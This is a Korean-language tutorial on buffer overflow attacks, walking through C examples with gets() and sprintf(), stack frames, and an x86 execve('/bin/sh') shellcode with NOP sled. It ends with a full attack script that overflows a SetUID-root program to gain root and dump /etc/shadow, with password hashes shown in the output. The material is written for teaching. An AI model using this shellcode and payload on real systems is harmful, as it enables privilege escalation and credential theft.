Buffer Overflow
Buffer Overflow는 1988년도부터 시작된 오래된 공격 기법이다.
물론 오래된 만큼 방어기법이 많이 있지만 오래되거나 보안이 취약한 프로그램에선 아직까지 발견된다.
Buffer Overflow란 사용자가 사용하기 위해 잡은 버퍼보다 많은 양의 데이터가 들어와 넘치는 현상을 말한다.
이것이 문제인 이유는 넘친 데이터가 엉뚱한 데이터를 덮어쓰기 때문이다.
이렇게 되면 프로그램의 흐름이 깨지고 해커가 원하는 코드가 실행될 수도 있어서 아주 무서운 공격이다.
말로만 하면 이해하기 힘들 수도 있기 때문에 예시 코드를 보면서 알아보자.
Buffer Overflow 예시
int main(int argc, char *argv[]) {
int valid = FALSE; // valid라는 이름의 정수형 변수 선언
char str1[8]; //문자열을 8바이트로 선언
char str2[8]; //문자열을 8바이트로 선언
next_tag(str1); //next_tag : 기본 설정된 비밀번호를 가져오는 함수
gets(str2); //문자열을 받는 함수
if (strncmp(str1, str2, 8) == 0) //정해진 길이를 비교함(8바이트), strncmp는 비교대상이 같으면 0을 반환
valid = TRUE; //값을 반환함
printf("buffer1: str1(%s), str2(%s), valid(%d)\n", str1, str2, valid); //str1, str2, valid를 출력함
}
이 코드를 한번 실행해보자
$ cc -g -o buffer1 buffer1.c
먼저 컴파일을 해 실행가능하도록 해준다(리눅스?)
$ ./buffer1
START
buffer1: str1(START), str2(START), valid(1)
실행을 하면 기본 비밀번호(str1)와 내가 입력한 비밀번호가(str2) 타당하다고 나온다(valid 값이 1)
$ ./buffer1
EVILINPUTVALUE
buffer1: str1(TVALUE), str2(EVILINPUTVALUE), valid(0)
하지만 8바이트가 넘는 문자열을 입력하니 기본 비밀번호가 바뀌었다!
분명히 next_tag 함수로 str1에는 START가 저장되어 있어야 하는데 이상한 값이 입력되어 있는 것을 볼 수 있다.
이것이 Buffer Overflow이다.
gets 함수는 입력받을 때 제한이 없어서 입력한 만큼 저장이 된다.
$ ./buffer1
BADINPUTBADINPUT
buffer1: str1(BADINPUT), str2(BADINPUTBADINPUT), valid(1)
그래서 해커들은 임의로 입력값을 만들어서 뚫리도록 만든다.
앞의 8글자만 비교하여 맞으면 1을 리턴하기 때문에 맞는 입력이 되는 것이다.
이렇듯 Buffer Overflow는 해커 입장에서 간단하지만 무서운 공격이 되는 것이다.
해커의 입장
물론 이것이 마냥 쉬운 것은 아니다.
해커들은 이 공격을 사용하기 위해서 공개된 소스코드를 분석하거나, 다양한 입력을 넣은 뒤 출력을 보고 이러한 문제가 있는지를 찾아본다.
하지만 수많은 소스코드를 사람이 수동으로 하는 것은 쉽지 않기 때문에 보통 자동화를 하는데 이때 사용되는 기법이 fuzzing이다.
이를 이용하면 취약점들을 쉽게 찾을 수 있어서 많이 사용되고 있다.
Stack frame
다음으로 Stack Buffer Overflow를 알아볼 건데
이전에 Stack frame을 먼저 알아보자.
C언어에서 함수를 호출하는 경우 호출된 함수로 넘어가서 작업을 하고 작업이 끝나면 반드시 메인함수로 돌아와야 한다.
이때 돌아가는 주소값을 return address라고 하는데 이를 어딘가에 항상 기록해야 한다.
컴퓨터는 이를 저장하는 레지스터를 가진다.
하지만 재귀함수같이 계속 함수를 호출하는 경우에는 return address를 계속 저장해야 하는데 link resister가 하나만 있다면 마지막 값만 저장되게 된다(그 이전의 값은 날아감)
그래서 이를 해결하기 위해 스택에 return address를 저장하는데 이 영역을 바로 stack frame이라고 한다.
스택 프레임 내부
P : 메인함수, Q : 호출된 함수
위에서부터 4칸은 P를 위한 스택 프레임이고, 나머지 4칸은 Q를 위한 스택 프레임이다.
여기에 각각의 Return address가 기록되고 그 함수에서 사용되는 지역변수가 또한 같이 기록된다.(param, local)
마지막으로 Frame Pointer가 있다.
P가 Q를 호출하면 Q는 자기 할 일을 하고 끝나면 다시 P로 돌아오게 된다.
이때 쓰는 것이 return address인데 이것만 가지고는 스택 영역에서 어디로 되돌아가야 하는지 알 수 없다.
그래서 Frame Pointer는 이때 어디로 돌아가야 하는지를 알려준다.
Stack Buffer Overflows
Stack Buffer Overflow는 버퍼가 스택에 위치할 때 오퍼플로우가 발생하는 것이다.
이번에도 코드를 통해 스택 버퍼 오버플로우를 알아보자!
Stack Buffer Overflows 예시
void hello(char *tag)
{
char inp[16]; //변수 inp를 생성(16바이트)
printf("Enter value for %s: ", tag); //tag 값을 받아와 이를 출력함(이때 tag는 문자열 "name")
gets(inp); //문자열을 입력받아 inp에 저장함
printf("Hello your %s is %s\n", tag, inp); // tag와 inp를 출력함
}
코드 자체는 이름을 입력하면 내 이름을 다시 출력해 주는 아주 간단한 코드이다.
그러면 이를 실행해 보자
$ cc -g -o buffer2 buffer2.c
컴파일해 실행가능하도록 해준다.
$ ./buffer2
Enter value for name: Bill and Lawrie
Hello your name is Bill and Lawrie
buffer2 done
Bill and Lawrie을 출력하니 잘 실행되는 것을 알 수 있다.
$ ./buffer2
Enter value for name: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Segmentation fault (core dumped)
그렇다면 16바이트가 넘는 값을 입력한다면 segmentation fault가 일어나는 것을 알 수 있다.
이제 우리가 아까 배운 스택 프레임을 다시 상기시켜 보자.
여기서 사용된 hello함수는 호출된 함수이고 메인 함수가 따로 존재한다.
이런 상황인데 inp에 16바이트가 넘는 값을 입력한다면
이런 식으로 덮어 써진다(return address도 덮어 써질 수 있음).
그래서 hello함수가 일을 다 하고 난 뒤 메인함수로 복귀해야 하는데 주소값이 덮어 써져서 엉뚱한 곳으로 돌아가게 된다.
(segmentation fault : 사용할 수 없는 메모리에 접근하려 할 때 나오는 오류메시지)
그래서 이런 에러가 뜨게 된다.
$ perl -e 'print pack("H*", "41424344454647485152535455565758616263646566676808fcfbf948304080a4e4e4e4e0a");' | ./buffer2
Enter value for name:
Hello your Re?pyyJµEA is ABCDEFGHQRSTUVWXabcdefghuyu
Enter value for Kyuu:
Hello your Kyuu is NNN
Segmentation fault (core dumped)
이 실행은 재미있는 결과를 보여준다.
여기서 perl은 스크립트 언어인데 첫 번째 줄이 하는 역할은 특정한 패턴을 바이너리 형식으로 변환하는 것이다.
그다음 나온 값(해커가 의도한 값임)을 | 를 이용해 hello 함수의 입력값으로 바로 넣었다.
그랬더니 이상한 문자열이 나오고 심지어 두 번 실행된다!
이를 스택프레임에서 분석해 보면
아까처럼 위쪽이 덮어 써졌는데 다른 점은 return address 값을 임의로 hello의 주소값으로 바꾸었다.
그래서 원래 메인함수로 돌아가야 하는데 hello를 한번 더 출력하는 것이다.
여기서 중요한 점은 해커가 이런 방식으로 return address를 건드려서 자신이 원하는 함수로 가게 하거나 자신이 원하는 명령어를 실행시킬 수 있다는 것이다.
Gets의 문제점
지금까지 알아본 예시에서 공통되는 문제가 있는데
바로 gets 함수에서 문제가 생긴다는것이다.
이 함수는 크기(버퍼)를 고려하지 않고 가져와서 덮어쓰는 특징때문에 위험해서 현재는 잘 쓰이지 않는다.
그러면 이 함수에서만 버퍼 오버플로우가 발생할까?
다음의 예시를 보며 같이 알아보자
예시
void getinp(char *inp, int siz)
{
puts("Input value: "); //문자열을 출력함(puts함수는 오직 문자열만 출력가능하다.)
fgets(inp, siz, stdin); //버퍼 사이즈를 고려해서 입력받음
printf("buffer3 getinp read %s\n", inp); //inp를 출력함
}
void display(char *val)
{
char tmp[16]; //변수 tmp를 생성함(16바이트)
sprintf(tmp, "read val: %s\n", val); //tmp에 문자열을 집어넣음
puts(tmp); // tmp를 출력함
}
int main(int argc, char *argv[])
{
char buf[16]; //16바이트 버퍼를 마련함.
getinp(buf, sizeof(buf)); //함수 getinp를 호출함
display(buf); //함수 display를 호출함
printf("buffer3 done\n"); //문자열을 출력함
}
후에 나오겠지만 여기서 문제가 발생하는 지점은 sprintf이다.
함수 getinp에 사용된 fgets는 전에 사용된 gets와 다르게 버퍼사이즈를 고려하여 입력받는데
sprintf는 문자열을 변수에 집어넣는 함수인데 이때 버퍼를 고려하지 않고 넣는다.
그래서 버퍼 오버플로우가 생기게 된다. 그러면 한번 실행해보자.
$ cc -o buffer3 buffer3.c
먼저 실행하기 위해 컴파일을 하고
$ ./buffer3
Input value:
SAFE
buffer3 getinp read SAFE
read val: SAFE
buffer3 done
정상적인 값을 넣으면 당연히 정상적으로 작동한다.
그렇다면 아주 큰 문자열을 넣는다면?
$ ./buffer3
Input value:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
buffer3 getinp read XXXXXXXXXXXXXXXXXXXXX
read val: XXXXXXXXXXXXXXXXXXXXXXXXXX
buffer3 done
Segmentation fault (core dumped)
위에서 알아본 것처럼 오버플로우가 발생하게된다.
하지만 자세히 보면 다른 예시들과 다른데
display 함수에서 오버플로우가 발생했는데도 read val이 어느정도 출력되고있고
분명히 return address를 덮어썼는데 메인함수로 돌아와 buffer3 done을 출력하였으며
심지어 함수가 끝난 뒤에 Segmentation fault가 발생한것이다.
이에 대한 답은 간단하다.
먼저 read val 과 buffer3 done이 출력된 이유는
불완전한 C 언어 함수들
우리가 알아본 gets, sprintf이외에도 strcat, strcpy,vsprintf등 불완전한 함수들이 존재한다.
이 함수를 잘못사용할 경우 버퍼오버플로우가 발생할 수 있으니 가급적이면 사용하지 않는것이 좋다.
Shellcode
해커들은 보통 버퍼 오버플로우를 이용해 의도적으로 실행값을 바꾸려고 하는데 이때 해커가 작성한 코드를 Shellcode라고 한다.
예로 두 번째 예시에서 의도적으로 return address값을 조작하여 코드를 두번 실행하는것도 해커가 의도한 행위이다.
shellcode는 보통 machine code형태로 작성되는데 이는 우리말로 하면 기계어이며, cpu에서 바로 실행할 수 있는 코드를 뜻한다.
말로만 하면 이해가 어려우니 예시를 한번 보자.
int main(int argc, char *argv[])
{
char *sh;
char *args[2];
sh = "/bin/sh";
args[0] = sh;
args[1] = NULL;
execve(sh, args, NULL);
}
이 c코드는 간단하게 쉘을 실행시키는 코드로 이해하면 된다.
이제 해커가 작성한 shellcode를 알아보자.
nop
nop // nop 슬레드의 끝
jmp find // 코드 끝으로 점프
cont: pop %esi // 스택에서 sh의 주소를 꺼내 %esi에 저장
xor %eax,%eax // EAX의 내용을 0으로 만듦
mov %al,0x7(%esi) // sh 문자열 끝에 0 바이트를 복사
lea (%esi),%ebx // sh의 주소를 %ebx에 로드
mov %ebx,0x8(%esi) // args[0] 위치에 sh의 주소 저장 (%esi+8)
mov %eax,0xc(%esi) // args[1] 위치에 0을 복사 (%esi+c)
mov $0xb,%al // execve 시스템 콜 번호(11)를 AL에 저장
mov %esi,%ebx // sh의 주소를 %ebx에 복사
lea 0x8(%esi),%ecx // args 배열의 주소를 %ecx에 저장 (%esi+8)
lea 0xc(%esi),%edx // args[1] 주소(NULL)를 %edx에 저장 (%esi+c)
int $0x80 // 소프트웨어 인터럽트로 시스템 콜 실행
find: call cont // 스택에 다음 주소를 저장하고 cont 호출
sh: .string "/bin/sh" // 문자열 상수
args: .long 0 // args 배열에 사용할 공간
.long 0 // args[1]과 NULL 환경 배열용
이는 해커가 작성한 쉘코드인데 어셈블리어로 작성되어있는것을 볼 수 있다.
이때 알아야할것이 쉘코드에는 제약사항이 몇가지 존재한다.
Position independent
쉘코드는 타겟하고싶은 메모리 주소값을 사용할 수 없다.
왜냐하면 수많은 메모리 중에서 그 주소값이 몇 번째에 있는지를 알아내는것은 매우 힘들기 때문이다.
그래서 해커들은 주소값을 이용하지 않고 최대한 쉘코드를 작성해야하는데 이를 Position independent라고 한다.
코드 3번째 줄에서 jmp는 뒤에 있는 find로 점프한다는 뜻이다.
그래서 find로 가 cont 함수를 호출하는데 cont는 4번째 줄에 위치한다.
그러면 드는 의문이 이러한 작업이 의미가 있는지이다.
여기서 알아야할것이 jmp와 call의 차이인데
jmp는 오직 보내는 용도로 사용된다(돌아오는 상황을 고려하지 않음)
하지만 call은 갔다가 오는 상황을 고려해 돌아오는 지점을 어딘가에 저장한다.
이때 돌아오는 지점은 sh: 부분이 되며 이를 link register에 저장한다.
결국 /bin/sh 문자열을 저장한다는 뜻인데, 이를 %esi 레지스터에 저장하여 사용하게 된다.
이렇듯 이 쉘코드에선 /bin/sh가 어디에 있는지 모르기때문에 Position independent방식을 사용하여 기록한다.
Cannot contain any NULL Values
c언어에서 배열에 문자를 따옴표로 묶어 넣으면 NULL값이 항상 따라붙는다(NULL값이 있으면 문자열의 마지막임을 알 수 있다).
하지만 어셈블리, 바이너리 코드, 머신코드를 작성할 때는 NULL값이 존재해선 안된다.
보통 이런 바이너리 코드를 실행부분에 집어넣는데
만약 NULL값이 존재한다면 gets과 같은 입력함수가 이 부분에서 끊어서 코드가 제대로 동작이 안된다.
그래서 해커는 먼저 /bin/sh뒤에 공백을 넣어서 NULL을 만들지 않았고 이후에 자기 자신과의 xor연산을 통해 0을 만들고
그 0을 문자열 마지막에 밀어넣어 NULL값을 만든다(문자열에서 NULL값은 0)
또 이렇게 하는 이유는 다른 함수들을 호출할때는(execve) NULL값이 필요하기 때문이다.
NOP sled
앞에 두가지 제약사항을 해결하여 해커가 코드를 다 짰다고 하자.
이제 해커는 gets와 같은 취약점이 있는 함수에 이를 밀어넣을것이다.
하지만 밀어넣는것만으로는 안되고 스택 프레임에 있는 return address를 조작해 이 쉘 코드를 호출하도록 해야한다.
그렇게 하기 위해선 이 쉘 코드가 메모리에 올라갔을때 몇번째에 있는지를 알아야한다(상대쪽 머신에서 실행되기 때문에 몇번째에 실행되는지를 아는것은 매우 힘들다).
그 번지수를 return address에 덮어써져야지 실행이 될 수 있다.
우리는 번지수를 알기 매우 힘들기 때문에 사용하는 기법이 NOP sled이다.
NOP란 No OPeration으로 동작을 하지 않겠다는 뜻이다.
작성한 쉘코드 위쪽에 NOP를 아주 많이 깔아놓아서 return address값이 이중 하나에 걸리게 된다면 썰매처럼 미끄러져서 쉘 코드가 실행이 된다.
이렇듯 NOP를 사용하여 해커는 정확한 쉘코드의 번지수를 몰라도 오차범위를 아주 크게 만들어서 성공확률을 높인다.
번외로 c언어는 운영체재 명령어(쉘을 띄우는것)를 실행하는데 라이브러리 함수(execve...)의 도움이 필요하다.
이는 머신코드에서도 같다.
쉘을 띄우기위해서는 os의 도움이 필요한데,
이때 int $0x80(소프트웨어 인터럽트)를 호출하여 운영체재가 도와주도록 한다.
Shellcode의 활용
이제 앞서 배운 shellcode를 활용해보자!
void hello(char *tag)
{
char inp[64]; //변수 inp를 생성(64바이트)
printf("Enter value for %s: ", tag); //tag 값을 받아와 이를 출력함(이때 tag는 문자열 "name")
gets(inp); //문자열을 입력받아 inp에 저장함
printf("Hello your %s is %s\n", tag, inp); // tag와 inp를 출력함
}
참고로 이 함수는 buffer4로, Stack Buffer Overflow의 예시에 나온 함수에서 버퍼 크기를 64로 바꾼 차이밖에 없다.
이를 실행해보자.
$ dir -l buffer4
-rwsr-xr-x 1 root knoppix 16571 Jul 17 10:49 buffer4
dir이란 디렉터리와 파일 목록을 출력하는 명령어이다(-l은 상세한 정보를 보여주는 옵션이다).
이떄 x자리에 s가 있는것이 보이는가?
우리가 이전에 배웠지만 이는 SetUID로 파일 주인의 권한으로 실행되는 옵션이다(파일 주인 : root)
이러한것들을 잘 염두해두고
$ whoami
knoppix
$ cat /etc/shadow
cat: /etc/shadow: Permission denied
현재 나는 knoppix이고(일반 사용자) shadow파일을 보려고 하면 접근이 막히게 된다.
shadow파일은 사용자들의 아이디, 비밀번호 해시값이 들어있는 중요한 파일이라서 일반 사용자는 접근할 수 없다.
그렇다면 버퍼 오버플로우 공격을 한번 해보자
whoami : 내가 누구인지를 알려주는 명령어
$ cat attack1
perl -e 'print pack("H*",
"90909090909090909090909090909090" .
"90909090909090909090909090909090" .
"9090eb1a5e31c08846078d1e895e0889" .
"460c0b089f38d4e08d560ccd80e8e1" .
"fffff2f62696e2f7368202020202020" .
"2020202020202038fcffbf0fbfbf0a");
print "whoami\n";
print "cat /etc/shadow\n";'
attack1파일 안에는 공격하기 위한 스크립트가 있다.
perl -e 'print pack 부분은 코드를 바이너리 형태로 바꾸어 컴퓨터 쪽에서 실행될 수 있도록 해주는것이다.
그 뒤에 9090부터 0a까지는 아까 알아본 쉘코드를 기계어로 변환한것이다.
그 밑에는 내가 누구인지, shadow 파일을 출력하도록 한다.
그러면 이를 | 를 이용하여 buffer4의 입력으로 넣어보자
$ attack1 | buffer4
Enter value for name: Hello your yyy)DA0Apy is e?^1AFF.../bin/sh...
root
root:$1$NLId4tX$nka7JlxH7.4UJT4I9JRLk1:13346:0:99999:7:::
daemon:*:11453:0:99999:7:::
...
nobody:*:11453:0:99999:7:::
knoppix:$1$FvZSBKBu$EdSFvuuJdKaCH8Y0IdnAv/:13346:0:99999:7:::
...
hello 안에 있는 inp변수에 버퍼보다 많은 값이 들어와 버퍼 오버플로우가 일어났는데
이때 위쪽에 있는 return address까지 덮어써서 쉘코드를 가리키도록 되어있다.
그래서 hello가 끝난 후 return이 쉘코드로 되었고 cpu가 쉘코드를 실행하는데
SetUID때문에 root권한으로 실행된다.
이로써 버퍼 오버플로우로 root권한까지 얻어내는것을 확인해보았다.
Buffer Overflow 방어방법
버퍼 오버플로우를 막는 방법으로는 크게 2가지가 존재한다.
먼저 Compile-Time defense는 프로그램을 컴파일할 때 검사하여 버퍼 오버플로우를 발견하는 방법이다.
방법으로는 안전한 프로그래밍 언어 사용하기, Stack Canary 등등 여러가지가 존재한다.
다음으로는 Run-time defense는 프로그램이 실행되는 동안 시스템 및 메모리 동작을 검사해 버퍼 오버플로우를 방어하는 방법이다.
방법으로는 Data Execution, 실행 중 모니터링 등이 존재한다.